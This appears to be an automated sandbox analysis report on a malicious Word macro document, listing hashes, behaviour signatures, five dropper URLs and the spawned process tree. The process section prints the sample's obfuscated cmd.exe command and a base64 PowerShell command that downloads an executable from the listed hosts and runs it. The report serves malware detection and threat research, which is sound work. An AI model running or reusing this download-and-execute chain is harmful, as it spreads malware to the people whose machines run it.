Analysis
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max time kernel
52s -
max time network
46s -
platform
windows7_x64 -
resource
win7v200217 -
submitted
15-03-2020 17:25
General
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Target
b8be31db3cf8fa74d86929a303a2ae714fb928211f14b777f4a63f2bd1854929.doc
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Size
84KB
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MD5
43d2a3df73fdcb10b9429a480d96ddcf
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SHA1
806d56933c8bb8ec187c0da1be37424582b97801
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SHA256
b8be31db3cf8fa74d86929a303a2ae714fb928211f14b777f4a63f2bd1854929
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SHA512
f1443679436643c0177bfa1ab84b72293fa547c622382e03e4de198d13581c93bd854159e2f2e5ed901a6f35d47519c938de601edb0a345fe94252760167ce44
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://blog.bctianfu.cn/4
exe.dropper
http://mail.vcacademy.lk/5nLo
exe.dropper
http://lamemoria.in/2ib2Pt
exe.dropper
http://tropicalislandrealtyofflorida.com/NNqM7W
exe.dropper
http://businessarbitr.ru/E
Signatures
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An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
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Suspicious use of WriteProcessMemory 3 IoCs
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Suspicious use of AdjustPrivilegeToken 1 IoCs
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Suspicious behavior: EnumeratesProcesses 2 IoCs
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Blacklisted process makes network request 5 IoCs
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Office loads VBA resources, possible macro or embedded object present
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Suspicious behavior: AddClipboardFormatListener 1 IoCs
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Suspicious use of SetWindowsHookEx 2 IoCs
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes
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C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b8be31db3cf8fa74d86929a303a2ae714fb928211f14b777f4a63f2bd1854929.doc"1⤵
- Suspicious use of WriteProcessMemory
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v^:^ON^ ^ /c" ^Se^T ^ A^K=A^ACA^gAA^I^A^ACA^gA^A^I^A^AC^A^gAAIA^ACAg^A^AI^A^ACA^gAA^I^A^ACAgAQfA0^H^A7^BA^a^AMG^A0^BQ^Y^AM^GA9^B^w^O^As^GAh^B^QZ^A^I^HAiBwOAc^EAC^B^A^aA^QC^A^g^A^QbA^UG^A^0B^QSA^0CAlBwaA8GA^2B^gb^AkEA^7A^QKAc^E^AC^B^A^a^AQC^A^gAALAU^EAjBw^Q^A^QC^A^oAQZA^wG^A^p^BgR^AQG^Ah^Bwb^AwGAu^B^w^d^A8^G^AE^B^g^L^AE^F^A^zBgQAQCA7^BQ^e^AI^H^A0^Bwe^A^kC^AV^BAcAk^GA^kA^A^IA^4^GAp^B^AI^AU^E^A^jB^w^QA^QC^A^o^A^AaA^MG^A^hB^Q^Z^AIHAv^BgZA^s^DAn^A^QZ^A^g^H^A^lB^g^LAcC^Ar^A^QdAsGAH^BA^JAsC^AnA^A^X^AcCAr^Aw^Y^A^kG^A^sB^gY^AUHA^w^BgO^A^Y^H^A^u^B^Q^Z^A^QC^A^9A^wRA^IEA^oB^A^JAsD^AnAwNAAD^A3^AwJAACA9^AA^IA^U^H^ArBwRA^QCA^7A^QK^AcCA^ABwJA^gCA^0BQaA^wGAw^B^w^U^A4C^AnA^QR^A^8C^A1^Bgc^A^4C^A^yB^A^d^Ak^GA^i^B^gc^A^E^GAzBwc^A^UGAu^BQ^aAM^H^A^1^Bg^Y^A^8CAv^A^g^O^AAHA^0BA^d^A^gG^A^AB^wV^AcD^AN^BQcA^4E^AOBw^L^A0GAv^BwY^A4CAhB^AZA^kGAyBwbAw^G^A^mB^gZ^A8GA^5B^AdA^wGAhBQ^Z^AIH^Ak^Bgb^A^EG^As^BwcAkG^As^B^QY^AMG^ApBAc^A^8G^AyBAdA8CAvA^g^OA^AH^A0^B^A^dAgG^AA^B^A^dAA^FAyA^g^YA^k^GA^y^A^wL^A^4^G^A^pB^gLA^E^GAp^B^gcA8^G^A^tB^Q^Z^A0^GAhBAbA8CAvA^gOAAHA0BA^dA^g^G^A^A^B^wbAw^E^A^u^BQN^A^8CArBAb^A^4CA^5^BQ^b^AU^GA^kBQY^A^MGA^h^B^wY^AYH^Au^AAb^A^k^G^AhB^QbA^8C^Av^AgO^A^AH^A0BA^d^A^gGA^A^B^ANA^8CA^u^BwYA4C^A1B^g^Z^A^4^G^Ah^B^Q^aA^QHA^jBg^YA^4CAn^Bwb^AwG^AiB^w^LA^8C^A^6AAcA^QH^A0^BAa^AcCA9A^QVAA^H^A^p^BAJA^sDA0^BgbA^UGA^p^B^AbA^M^E^AiBQZ^Ac^F^AuAAd^A^U^G^A^O^BAI^A^Q^HAjB^QZAoGA^i^B^w^bA0C^A3B^Q^Z^A4GA9A^QUAMHAC^B^AJ^ ^e- lle^h^sr^ewop&& ^F^oR /^L %^9 ^iN (^ ^ ^ ^965^ ^, ^ ^ -1 ,^ ^ ^0) ^dO ^S^Et G^Fr^1=!G^Fr^1!!A^K:~ %^9, 1!& ^i^F %^9 LsS ^1 cA^l^L %G^Fr^1:^~-^966% "2⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Process spawned unexpected child process
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABCAHMAUQA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABpAHAAVQA9ACcAaAB0AHQAcAA6AC8ALwBiAGwAbwBnAC4AYgBjAHQAaQBhAG4AZgB1AC4AYwBuAC8ANABAAGgAdAB0AHAAOgAvAC8AbQBhAGkAbAAuAHYAYwBhAGMAYQBkAGUAbQB5AC4AbABrAC8ANQBuAEwAbwBAAGgAdAB0AHAAOgAvAC8AbABhAG0AZQBtAG8AcgBpAGEALgBpAG4ALwAyAGkAYgAyAFAAdABAAGgAdAB0AHAAOgAvAC8AdAByAG8AcABpAGMAYQBsAGkAcwBsAGEAbgBkAHIAZQBhAGwAdAB5AG8AZgBmAGwAbwByAGkAZABhAC4AYwBvAG0ALwBOAE4AcQBNADcAVwBAAGgAdAB0AHAAOgAvAC8AYgB1AHMAaQBuAGUAcwBzAGEAcgBiAGkAdAByAC4AcgB1AC8ARQAnAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQARwBrAHUAIAA9ACAAJwA3ADAANwAnADsAJABoAEIARwA9ACQAZQBuAHYAOgBwAHUAYgBsAGkAYwArACcAXAAnACsAJABHAGsAdQArACcALgBlAHgAZQAnADsAZgBvAHIAZQBhAGMAaAAoACQAQwBjAEUAIABpAG4AIAAkAGkAcABVACkAewB0AHIAeQB7ACQAQgBzAFEALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAQwBjAEUALAAgACQAaABCAEcAKQA7AEkAbgB2AG8AawBlAC0ASQB0AGUAbQAgACQAaABCAEcAOwBiAHIAZQBhAGsAOwB9AGMAYQB0AGMAaAB7AH0AfQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAA3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request